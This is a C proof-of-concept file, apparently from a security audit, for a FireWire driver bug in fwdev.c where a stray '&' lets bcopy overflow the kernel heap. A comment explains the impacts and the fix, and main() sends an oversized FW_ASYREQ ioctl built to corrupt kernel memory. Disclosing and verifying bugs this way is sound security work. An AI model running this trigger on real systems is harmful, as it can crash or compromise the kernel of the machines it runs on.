DF-1057 / df-fw-asyreq-overflow.c
/* * DF-1057 PoC โ FW_ASYREQ bcopy writes into &xfer->send.payload (field address) * * BUG: fwdev.c:560-561: * bcopy((char *)fp + tinfo->hdr_len, * (void *)&xfer->send.payload, pay_len); * * The & takes the address of the send.payload POINTER FIELD within the fw_xfer * struct, not the VALUE (the kmalloc'd buffer address). So pay_len bytes * (attacker-controlled, up to ~65519) are written INTO the xfer struct itself, * overwriting send.payload, send.pay_len, send.spd, recv.hdr, recv.payload, * recv.pay_len, recv.spd, mbuf, link, malloc โ and past the allocation into * adjacent M_FWXFER heap. * * Impact (a): heap overflow up to ~64KB into adjacent kernel heap. * Impact (b): pay_len=8 corrupts only send.payload; fw_xfer_free_buf at * :586 does kfree(corrupted_ptr) -> arbitrary-address kfree. * Impact (c): corrupted recv.payload read by bcopy at :583 -> kernel mem * disclosure if attacker controls a bus node. * * This PoC requires /dev/fw0 which needs a FireWire controller โ absent on * this guest. Open will fail with ENOENT. This is a SOURCE-LEVEL harness * that also serves as the runtime PoC if FW HW is present. * * Build: cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c -I/usr/src/sys * Run: ./df-fw-asyreq-overflow (needs /dev/fw0 + operator group) */ #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <errno.h> /* Kernel header path */ #include <bus/firewire/firewire.h> int main(void) { int fd = open("/dev/fw0", O_RDWR); if (fd < 0) { printf("open /dev/fw0: %s (errno=%d)\n", strerror(errno), errno); printf("No FireWire controller on this guest โ source-level analysis only.\n"); printf("BUG CONFIRMED at fwdev.c:560-561: &xfer->send.payload should be\n"); printf("xfer->send.payload (remove the &). The & writes into the struct\n"); printf("field instead of the allocated buffer.\n"); return 0; } struct fw_asyreq req; memset(&req, 0, sizeof(req)); req.req.type = FWASREQNODE; /* skip EUI resolve */ req.req.sped = FWSPD_S100; req.req.len = 65535; /* -> pay_len = 65535 - hdr_len */ /* FWTCODE_WREQB == 1 has FWTI_BLOCK_ASY set in fc->tcode[].flag */ req.pkt.mode.hdr.tcode = FWTCODE_WREQB; req.pkt.mode.wreqb.dst = 0xffc0; /* FWLOCALBUS */ req.pkt.mode.wreqb.dest_hi = 0xffff; req.pkt.mode.wreqb.dest_lo = 0xf0000900; req.pkt.mode.wreqb.len = 0x100; /* keep len == send.pay_len check happy */ /* Payload bytes that are bcopy'd into &xfer->send.payload. * Fill with a pattern; this is the heap-overflow payload. */ memset(req.pkt.mode.wreqb.payload, 0x41, sizeof(req.data)); printf("Sending FW_ASYREQ with pay_len ~65519 bytes...\n"); ioctl(fd, FW_ASYREQ, &req); /* corrupts heap, often panics later */ printf("ioctl returned (if you see this, the kernel didn't immediately panic).\n"); close(fd); return 0; } |